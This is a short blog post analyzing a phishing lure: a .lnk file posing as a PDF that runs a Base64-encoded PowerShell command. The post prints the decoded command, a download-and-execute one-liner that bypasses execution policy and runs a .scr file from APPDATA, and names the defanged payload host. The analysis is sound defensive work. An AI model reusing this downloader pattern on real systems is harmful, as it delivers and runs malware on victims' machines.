Simple malware downloader obfuscation with Powershell and Base64

Maybe i have reinvented the wheel…

…but i think is useful to share this discovery.

I recently had the opportunity to analyze an email with attached a link that downloads a suspicious file.

From a first analysis, it seemed be a .lnk file disguised as a PDF.

The .lnk files contains this command line:


the command uses the -EncodedCommand powershell parameter, that allows the execution of a Base64 encoded script:

 Accepts a base-64-encoded string version of a command. Use this parameter
 to submit commands to Windows PowerShell that require complex quotation
 marks or curly braces.

Of course this technique is used to obfuscate the maliciou sscript and try to evade antivirus checks.

In fact, once decoded the Base64 string, we get this:

PowerShell -ExecutionPolicy bypass -noprofile -command (New-Object System.Net.WebClient).DownloadFile(“", “$env:APPDATApole.scr” );Start-Process( “$env:APPDATApole.scr” )

A simple downloader that tries to get a payload from h[tt]p://alvarezborja[.]com/jashebc5ujpsed/podkjfnvb3sidje

Doing some research, I discovered that this technique is already used by a bit and is very well explained in this article by Symantec Connect:

Windows PowerShell, the Microsoft scripting language, has made the headlines recently due to malware authors leveraging it for malicious purposes. Symantec has identified more PowerShell scripts being used for nefarious purposes in attacks.




This site uses Akismet to reduce spam. Learn how your comment data is processed.